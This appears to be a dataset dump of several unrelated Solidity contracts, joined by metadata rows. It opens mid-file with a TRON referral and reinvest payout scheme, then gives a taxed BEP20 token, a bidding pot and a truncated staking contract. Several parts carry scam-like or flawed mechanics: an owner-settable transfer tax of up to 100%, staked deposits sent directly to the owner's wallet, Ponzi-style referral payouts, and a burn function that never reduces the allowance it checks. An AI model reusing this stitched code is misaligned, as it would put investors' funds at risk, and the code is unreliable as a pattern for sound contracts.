msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].total_payouts >= max_payout)
{
emit LimitReached(msg.sender, users[msg.sender].total_payouts);
}
}
function reinvest() external
{
require(!isContract(msg.sender),"Contract Address Not Allowed!");
collect(msg.sender);
uint256 to_payout = users[msg.sender].interest + users[msg.sender].direct_bonus + users[msg.sender].pool_bonus + users[msg.sender].past_due;
uint256 max_payout = users[msg.sender].wid_limit;
require(users[msg.sender].total_payouts < max_payout, "Already Matured Full Amount");
if(users[msg.sender].total_payouts + to_payout > max_payout)
{
to_payout = max_payout - users[msg.sender].total_payouts;
}
require(to_payout >= 1e7, "Minimum Reinvest amount 10 TRX!");
users[msg.sender].interest = 0;
users[msg.sender].direct_bonus = 0;
users[msg.sender].pool_bonus = 0;
users[msg.sender].past_due = 0;
users[msg.sender].active_deposit += to_payout;
users[msg.sender].wid_limit += (to_payout * 2);
users[msg.sender].paid_time = uint40(block.timestamp);
users[msg.sender].total_payouts += to_payout;
users[msg.sender].total_deposits += to_payout;
total_withdraw += to_payout;
total_deposited += to_payout;
total_reinvest += to_payout;
emit ReInvestFund(msg.sender, to_payout);
address _tupline;
_tupline = users[msg.sender].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++)
{
if(_tupline == address(0)) break;
users[_tupline].direct_bonus += to_payout * ref_bonuses[i] / 100;
emit DirectPayout(_tupline, msg.sender, to_payout * ref_bonuses[i] / 100);
_tupline = users[_tupline].upline;
}
_pollDeposits(msg.sender, to_payout);
if(pool_last_draw + 1 days < block.timestamp)
{
_drawPool();
}
admin_fee.transfer(to_payout * 6 / 100);
}
function payoutOf(address _addr) view external returns(uint256 payout)
{
require(!isContract(_addr),"Contract Address Not Allowed!");
uint secPassed = now - users[_addr].paid_time;
if (secPassed > 0 && users[_addr].paid_time > 0)
{
uint collectProfit = (users[_addr].active_deposit / 100) * (secPassed) / (1 days);
payout = collectProfit + users[_addr].interest + users[_addr].direct_bonus + users[_addr].pool_bonus + users[_addr].past_due;
}
if((payout + users[_addr].total_payouts) > users[_addr].wid_limit)
{
payout = users[_addr].wid_limit - users[_addr].total_payouts;
}
}
function releaseInsurance(address payable _user, uint256 _amount) public deployerOnly
{
require(!isContract(_user),"Contract Address Not Allowed!");
require(_amount > 0);
insurance_fund -= _amount;
_user.transfer(_amount);
}
function releaseInsureFund(uint256 _portion) public deployerOnly
{
require(_portion >= 1 && _portion <= 100,"Release Portion Value Between 1 to 100");
insurance_fund -= insurance_fund * _portion / 100;
}
function getUserById(uint256 userid) view external deployerOnly returns(address user_address) {
return userList[userid];
}
function getUserDetails(uint256 userid) view external deployerOnly returns(uint256 id, address user_address, uint256 deposit_payouts, uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
address _addr = userList[userid];
return (users[_addr].id, _addr, users[_addr].interest, users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function userInfo(address _addr) view external returns(address upline, uint256 interest, uint256 active_deposit, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 past_due) {
require(!isContract(_addr),"Contract Address Not Allowed!");
return (users[_addr].upline, users[_addr].interest, users[_addr].active_deposit, users[_addr].total_payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].past_due);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
require(!isContract(_addr),"Contract Address Not Allowed!");
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _balance, uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _insure_fund, uint256 _toprefamount) {
return (address(this).balance, total_users, total_deposited, total_withdraw, pool_last_draw, pool_balance, insurance_fund, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function transferTRC20Token(address _tokenAddress, uint256 _value) public deployerOnly returns (bool success)
{
return ERC20Interface(_tokenAddress).transfer(owner, _value);
}
function transferTRC10Token(trcToken _tokenId, uint _value) public deployerOnly
{
msg.sender.transferToken(_value, _tokenId);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 294,617 | 11,710 |
bae754e917eabb4939978dcbd23e6a76f13ee9e651fef2718d2fb1fda1a1a3ea
| 20,180 |
.sol
|
Solidity
| false |
454395313
|
solidproof/projects
|
e4944c9bb61ee5a4776813b37db72129ff648eb2
|
Gale/Contracts/GaleToken.sol
| 3,504 | 13,530 |
pragma solidity ^0.8.4;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, 'only owner');
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "No 0 address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'not whitelisted');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface BEP20Basic {
function totalSupply() external view virtual returns (uint256);
function balanceOf(address who) external view virtual returns (uint256);
function transfer(address to, uint256 value) external virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is BEP20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view override returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public override returns (bool) {
require(_to != address(0), "Cannot transfer to address 0");
require(_value <= balances[msg.sender], "Inadequate funds");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view override returns (uint256) {
return balances[_owner];
}
}
abstract contract BEP20 is BEP20Basic {
function allowance(address owner, address spender) public virtual view returns (uint256);
function transferFrom(address from, address to, uint256 value) public virtual returns (bool);
function approve(address spender, uint256 value) public virtual returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is BEP20, BasicToken {
using SafeMath for uint;
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool) {
require(_to != address(0), "Cannot transer to address 0");
require(_value <= balances[_from], "Inadequate funds");
require(_value <= allowed[_from][msg.sender], "Value above allowance");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public override returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Whitelist {
using SafeMath for uint;
event Mint(address indexed to, uint256 amount);
event Burn(address indexed from, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished, "Minting finished");
_;
}
function mint(address _to, uint256 _amount) public onlyWhitelisted canMint virtual returns (bool) {
require(_to != address(0));
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function burn(address _from, uint256 _amount) public onlyWhitelisted returns (bool) {
totalSupply_ = totalSupply_.sub(_amount);
balances[_from] = balances[_from].sub(_amount);
require(_amount <= allowed[_from][msg.sender], "Not authorized to burn from account");
emit Burn(_from, _amount);
emit Transfer(_from, address(0), _amount);
return true;
}
function finishMinting() public virtual onlyWhitelisted canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Token is MintableToken {
using SafeMath for uint;
struct Stats {
uint256 txs;
uint256 minted;
}
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public constant MAX_INT = 2**256 - 1;
uint256 public constant targetSupply = MAX_INT;
uint256 public totalTxs;
uint256 public players;
uint256 private mintedSupply_;
mapping(address => Stats) private stats;
address public vaultAddress;
uint8 constant internal taxDefault = 10; // 10% tax on transfers
mapping (address => uint8) private _customTaxRate;
mapping (address => bool) private _hasCustomTax;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
event TaxPayed(address from, address vault, uint256 amount);
constructor(string memory _name, string memory _symbol, uint256 _initialMint, address _vaultAddress) Ownable() {
name = _name;
symbol = _symbol;
addAddressToWhitelist(owner);
mint(owner, _initialMint * (10 ** decimals));
removeAddressFromWhitelist(owner);
_isExcluded[owner] = true;
_isExcluded[address(this)] = true;
_isExcluded[_vaultAddress] = true;
vaultAddress = _vaultAddress;
}
function setVaultAddress(address _newVaultAddress) public onlyOwner {
vaultAddress = _newVaultAddress;
_isExcluded[vaultAddress] = true;
}
function mint(address _to, uint256 _amount) public override returns (bool) {
//Never fail, just don't mint if over
if (_amount == 0 || mintedSupply_.add(_amount) > targetSupply) {
return false;
}
//Mint
super.mint(_to, _amount);
mintedSupply_ = mintedSupply_.add(_amount);
if (mintedSupply_ == targetSupply) {
mintingFinished = true;
emit MintFinished();
}
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[_to].minted += _amount;
totalTxs += 1;
return true;
}
function finishMinting() public view override onlyOwner canMint returns (bool) {
return false;
}
function calculateTransactionTax(uint256 _value, uint8 _tax) internal pure returns (uint256 adjustedValue, uint256 taxAmount){
taxAmount = _value.mul(_tax).div(100);
adjustedValue = _value.mul(SafeMath.sub(100, _tax)).div(100);
return (adjustedValue, taxAmount);
}
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
(uint256 adjustedValue, uint256 taxAmount) = calculateTransferTaxes(_from, _to, _value);
if (taxAmount > 0){
require(super.transferFrom(_from, vaultAddress, taxAmount), "Transfer failed");
emit TaxPayed(_from, vaultAddress, taxAmount);
}
require(super.transferFrom(_from, _to, adjustedValue), "Transfer failed");
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[_from].txs += 1;
totalTxs += 1;
return true;
}
function transfer(address _to, uint256 _value) public override returns (bool) {
(uint256 adjustedValue, uint256 taxAmount) = calculateTransferTaxes(msg.sender, _to, _value);
if (taxAmount > 0){
require(super.transfer(vaultAddress, taxAmount), "Transfer failed");
emit TaxPayed(msg.sender, vaultAddress, taxAmount);
}
require(super.transfer(_to, adjustedValue), "Transfer failed");
if (stats[_to].txs == 0) {
players += 1;
}
stats[_to].txs += 1;
stats[msg.sender].txs += 1;
totalTxs += 1;
return true;
}
function calculateTransferTaxes(address _from, address _to, uint256 _value) public view returns (uint256 adjustedValue, uint256 taxAmount){
adjustedValue = _value;
taxAmount = 0;
if (!_isExcluded[_from] && _to != vaultAddress) {
uint8 taxPercent = taxDefault; // set to default tax 10%
// set custom tax rate if applicable
if (_hasCustomTax[_from]){
taxPercent = _customTaxRate[_from];
}
(adjustedValue, taxAmount) = calculateTransactionTax(_value, taxPercent);
}
return (adjustedValue, taxAmount);
}
function remainingMintableSupply() public view returns (uint256) {
return targetSupply.sub(mintedSupply_);
}
function cap() public view returns (uint256) {
return targetSupply;
}
function mintedSupply() public view returns (uint256) {
return mintedSupply_;
}
function statsOf(address player) public view returns (uint256, uint256, uint256){
return (balanceOf(player), stats[player].txs, stats[player].minted);
}
//
function mintedBy(address player) public view returns (uint256){
return stats[player].minted;
}
function setAccountCustomTax(address account, uint8 taxRate) external onlyOwner() {
require(taxRate >= 0 && taxRate <= 100, "Invalid tax amount");
_hasCustomTax[account] = true;
_customTaxRate[account] = taxRate;
}
function removeAccountCustomTax(address account) external onlyOwner() {
_hasCustomTax[account] = false;
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_isExcluded[account] = false;
delete _excluded[_excluded.length - 1];
break;
}
}
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
}
| 172,927 | 11,711 |
ec133d32f490e6637ccc8447e4c937797b1b4539e60464e1c99e932f65948ed7
| 15,757 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/0f/0f4661bb859d4dff764eec9f11dc205281f67976_Pot.sol
| 3,050 | 11,342 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library myLibrary {
struct bidPrice {
uint256 bidOption;
uint256 variable1;
uint256 variable2;
}
struct expiryTimeInfo {
uint256 expiryOption;
uint256 startTime;
uint256 decreaseBy;
uint256 minimumTime;
}
struct createPotValue {
address topOwner;
address ownerOfTournament;
address potToken;
uint256 potAmount;
address bidToken;
bidPrice bid;
address[] toAddress;
uint256[] toPercent;
expiryTimeInfo expiryTime;
bool priorityPool;
uint256 toPotFee;
uint256 toPreviousFee;
}
}
contract Pot {
using SafeMath for uint256;
address public potToken;
uint256 public potAmount = 0;
address public bidToken;
uint256 public bidAmount;
bool public priorityPool;
bool public isClaim;
uint256 public createdDate;
uint256 public timeUntilExpiry;
address public ownerOfTournament;
address public lastBidWinner;
uint256 public lengthOfBidDistribution = 0;
uint256 public toOwnerFee = 3;
uint256 public percent = 100;
uint256 public toPotFee;
address public toPreviousBidder;
uint256 public toPreviousBidderFee;
uint256 private winnerClaimAllowTime = 600; // 2851200000; // 33 days
uint256 private createClaimAllowTime = 720; // 5702400000; // 66 days
address public topOwner;
uint256 public bidOption;
uint256 public bidVariable1;
uint256 public bidVariable2;
uint256 public claimedDate;
uint256 public expirationTime;
uint256 public expExpiryOption;
uint256 public expDecreaseBy;
uint256 public expMinimumTime;
IERC20 _token;
struct bidDistributionInfo {
address toAddress;
uint256 percentage;
}
mapping(uint256 => bidDistributionInfo) public bidInfo;
modifier onlyOwner() {
require(msg.sender == ownerOfTournament, "Not onwer");
_;
}
function setTopOwner(address newTopOwner) public {
require(topOwner == msg.sender, "Error: you can not change Top Owner address!");
topOwner = newTopOwner;
}
function calcBidAmount(uint256 _bidOption, uint256 _variable1, uint256 _variable2) internal {
if(_bidOption == 1) {
bidAmount = _variable1;
} else if (_bidOption == 2) {
bidAmount = potAmount.mul(_variable1).div(percent);
} else if (_bidOption == 3) {
bidAmount = bidAmount + bidAmount.mul(_variable2).div(percent);
}
}
function initialize(myLibrary.createPotValue memory sValue) external {
if (lengthOfBidDistribution > 0) {
require(topOwner == msg.sender, "Error: you can not change initial variable");
}
potToken = sValue.potToken;
bidToken = sValue.bidToken;
_token = IERC20(address(potToken));
lengthOfBidDistribution = sValue.toAddress.length;
for(uint256 i = 0; i < sValue.toAddress.length; i++) {
bidInfo[i].toAddress = sValue.toAddress[i];
bidInfo[i].percentage = sValue.toPercent[i];
}
priorityPool = sValue.priorityPool;
createdDate = block.timestamp;
timeUntilExpiry = createdDate + sValue.expiryTime.startTime;
expExpiryOption = sValue.expiryTime.expiryOption;
expirationTime = sValue.expiryTime.startTime;
expDecreaseBy = sValue.expiryTime.decreaseBy;
expMinimumTime = sValue.expiryTime.minimumTime;
potAmount += sValue.potAmount;
lastBidWinner = sValue.ownerOfTournament;
toPreviousBidderFee = sValue.toPreviousFee;
ownerOfTournament = sValue.ownerOfTournament;
topOwner = sValue.topOwner;
toPotFee = sValue.toPotFee;
bidOption = sValue.bid.bidOption;
bidVariable1 = sValue.bid.variable1;
bidVariable2 = sValue.bid.variable2;
isClaim = false;
if(bidOption == 1) {
bidAmount = bidVariable1;
} else if (bidOption == 2) {
bidAmount = potAmount.mul(bidVariable1).div(percent);
} else if (bidOption == 3) {
bidAmount = bidVariable1;
}
}
function bid() public payable returns (uint256) {
require(timeUntilExpiry > block.timestamp, "You cannot bid! Because this pot is closed biding!");
require(msg.value > 0, "Insufficinet value");
require(msg.value == bidAmount, "Your bid amount will not exact!");
toPreviousBidder = lastBidWinner;
uint256 value = msg.value;
lastBidWinner = msg.sender;
if(expExpiryOption == 2 && expirationTime > expMinimumTime) {
expirationTime -= expDecreaseBy;
}
uint256 onwerFee = bidAmount.mul(toOwnerFee).div(percent);
payable(address(topOwner)).transfer(onwerFee);
value = value - onwerFee;
uint256 previousBidderFee = bidAmount.mul(toPreviousBidderFee).div(percent);
payable(address(toPreviousBidder)).transfer(previousBidderFee);
value = value - previousBidderFee;
for (uint i = 0; i < lengthOfBidDistribution; i++) {
uint256 bidFee = bidAmount.mul(bidInfo[i].percentage).div(percent);
payable(address(bidInfo[i].toAddress)).transfer(bidFee);
value = value - bidFee;
}
uint256 createdBid = block.timestamp;
timeUntilExpiry = createdBid + expirationTime;
potAmount = address(this).balance;
calcBidAmount(bidOption, bidVariable1, bidVariable2);
return bidAmount;
}
function getLifeTime() public view returns (uint256) {
if(timeUntilExpiry > block.timestamp){
uint256 lifeTime = timeUntilExpiry - block.timestamp;
return lifeTime;
} else {
return 0;
}
}
function claim() public returns (uint256) {
address claimAvailableAddress;
if(block.timestamp < timeUntilExpiry) {
claimAvailableAddress = 0x0000000000000000000000000000000000000000;
} else if (timeUntilExpiry < block.timestamp && block.timestamp < timeUntilExpiry + winnerClaimAllowTime) {
claimAvailableAddress = lastBidWinner;
} else if (timeUntilExpiry + winnerClaimAllowTime < block.timestamp && block.timestamp < timeUntilExpiry + createClaimAllowTime) {
claimAvailableAddress = ownerOfTournament;
} else {
claimAvailableAddress = topOwner;
}
require(msg.sender == claimAvailableAddress, "You cannot claim!");
payable(address(msg.sender)).transfer(address(this).balance);
isClaim = true;
uint256 _balance = _token.balanceOf(address(this));
_token.transfer(msg.sender, _balance);
claimedDate = block.timestamp;
return address(this).balance;
}
modifier checkAllowance(uint256 amount) {
require(_token.allowance(msg.sender, address(this)) >= amount, "Allowance Error");
_;
}
function depositToken() external payable {
require(msg.value > 0, "you can deposit more than 0!");
require(msg.sender == ownerOfTournament, "You cannot deposit because you are not owner of this tournament");
uint256 balance = address(msg.sender).balance;
potAmount = msg.value;
calcBidAmount(bidOption, bidVariable1, bidVariable2);
require(balance >= msg.value, "Insufficient balance or allowance");
}
function depositERC20Token(uint256 _amount) external payable checkAllowance(_amount) {
require(msg.value > 0, "you can deposit more than 0!");
require(msg.sender == ownerOfTournament, "You cannot deposit because you are not owner of this tournament");
require(_amount > 0, "Insufficinet value");
_token.transferFrom(msg.sender, address(this), _amount);
uint256 balance = address(msg.sender).balance;
potAmount = _amount;
calcBidAmount(bidOption, bidVariable1, bidVariable2);
require(balance >= msg.value, "Insufficient balance or allowance");
}
}
| 111,611 | 11,712 |
86ec0664ab7adbb6e3cb98cac22ea38bfd1ffeb82b5f88510d2dab7295e69e2e
| 21,358 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xf2b4e3654f0fb4edf440fa224000af663980b58c.sol
| 5,633 | 20,536 |
pragma solidity 0.8.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
interface ADAMSTAKE{
function stakedetails(address, uint256) external view returns (uint256,uint256,uint256,uint256,bool);
function users(address)external returns(uint256,uint256,uint256);
}
contract StakeContract {
using SafeMath for uint256;
IBEP20 public wolveToken;
IBEP20 public amdToken;
ADAMSTAKE public stakeInstance;
address payable public owner;
bool public migrationCheck;
uint256 public totalUniqueStakers;
uint256 public totalStakedTokens;
uint256 public totalStaked;
uint256 public minStake;
uint256 public constant percentDivider = 100000;
uint256 public newPercentage;
uint256 public endingTime;
uint256 public stakeTimeForEndind;
uint256[4] public percentages = [0, 0, 0, 0];
uint256[4] public APY = [8000,9000,10000,11000];
uint256[4] public durations = [15 days, 30 days, 60 days, 90 days];
struct Stake {
uint256 stakeTime;
uint256 withdrawTime;
uint256 amount;
uint256 bonus;
uint256 beforeExtendBonus;
uint256 afterTimeBonus;
uint256 plan;
bool withdrawan;
bool migrated;
uint256 transactions;
uint256 rewardToken;
uint256 withdrawWith;
}
struct User {
uint256 totalstakeduser;
uint256 stakecount;
uint256 claimedstakeTokens;
mapping(uint256 => Stake) stakerecord;
}
mapping(address => uint256) deductedAmount;
mapping(address => User) public users;
mapping(address => bool) public uniqueStaker;
uint256 public totalWolveStakeToken;
uint256 public totalAmdStakeToken;
uint256 public totalWolveRewardToken;
uint256 public totalAmdRewardToken;
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: Not an owner");
_;
}
event Staked(address indexed _user, uint256 indexed _amount, uint256 indexed _Time);
event Withdrawn(address indexed _user, uint256 indexed _amount, uint256 indexed _Time);
event ExtenderStake(address indexed _user, uint256 indexed _amount, uint256 indexed _Time);
event UNIQUESTAKERS(address indexed _user);
constructor(address wolve, address amd,address amdStaking) {
owner = payable(msg.sender);
wolveToken = IBEP20(wolve);
amdToken = IBEP20(amd);
stakeInstance=ADAMSTAKE(amdStaking);
minStake = 45522400000000;
for(uint256 i ; i < percentages.length;i++){
percentages[i] = APYtoPercentage(APY[i], durations[i].div(1 days));
}
}
uint256 public stakewolvTime;
function stakeWithWolve(uint256 amount, uint256 plan, uint rewardToken) public {
require(plan >= 0 && plan < 4, "put valid plan details");
require(amount >= minStake,"cant deposit need to stake more than minimum amount");
if (!uniqueStaker[msg.sender]) {
uniqueStaker[msg.sender] = true;
totalUniqueStakers++;
emit UNIQUESTAKERS(msg.sender);
}
User storage user = users[msg.sender];
wolveToken.transferFrom(msg.sender, owner, amount);
user.totalstakeduser += amount;
user.stakerecord[user.stakecount].plan = plan;
user.stakerecord[user.stakecount].stakeTime = block.timestamp;
stakewolvTime = user.stakerecord[user.stakecount].stakeTime;
user.stakerecord[user.stakecount].amount = amount;
user.stakerecord[user.stakecount].withdrawTime = block.timestamp.add(durations[plan]);
user.stakerecord[user.stakecount].bonus = amount.mul(percentages[plan]).div(percentDivider);
user.stakerecord[user.stakecount].transactions = 1;
user.stakerecord[user.stakecount].withdrawWith = 1;
user.stakerecord[user.stakecount].rewardToken = rewardToken;
user.stakecount++;
totalStakedTokens += amount;
totalWolveStakeToken+=amount;
emit Staked(msg.sender, amount, block.timestamp);
uint256 value1 = 10; // percentage that how much amount that was deducted in Wolvrine token
uint256 deductedAmount1 = amount.mul(value1).div(100); //amount that was deducted in Wolvrine token
deductedAmount[msg.sender] = deductedAmount1;
}
function stakeWithAmd(uint256 amount, uint256 plan, uint rewardToken) public {
require(plan >= 0 && plan < 4, "put valid plan details");
require(amount >= minStake,"cant deposit need to stake more than minimum amount");
if (!uniqueStaker[msg.sender]) {
uniqueStaker[msg.sender] = true;
totalUniqueStakers++;
emit UNIQUESTAKERS(msg.sender);
}
User storage user = users[msg.sender];
amdToken.transferFrom(msg.sender, owner, amount);
user.totalstakeduser += amount;
user.stakerecord[user.stakecount].plan = plan;
user.stakerecord[user.stakecount].stakeTime = block.timestamp;
user.stakerecord[user.stakecount].amount = amount;
user.stakerecord[user.stakecount].withdrawTime = block.timestamp.add(durations[plan]);
user.stakerecord[user.stakecount].bonus = amount.mul(percentages[plan]).div(percentDivider);
user.stakerecord[user.stakecount].transactions = 2;
user.stakerecord[user.stakecount].withdrawWith = 2;
user.stakerecord[user.stakecount].rewardToken = rewardToken;
user.stakecount++;
totalStakedTokens += amount;
totalAmdStakeToken+=amount;
emit Staked(msg.sender, amount, block.timestamp);
}
function withdrawInWolve(uint256 count) public {
User storage user = users[msg.sender];
require(user.stakecount >= count, "Invalid Stake index");
require(user.stakerecord[count].migrated != true,"You canot withdraw migrated stake from volve.");
require(user.stakerecord[count].withdrawWith == 1,"You canot withdraw Admantium staked token from Wolverinu.");
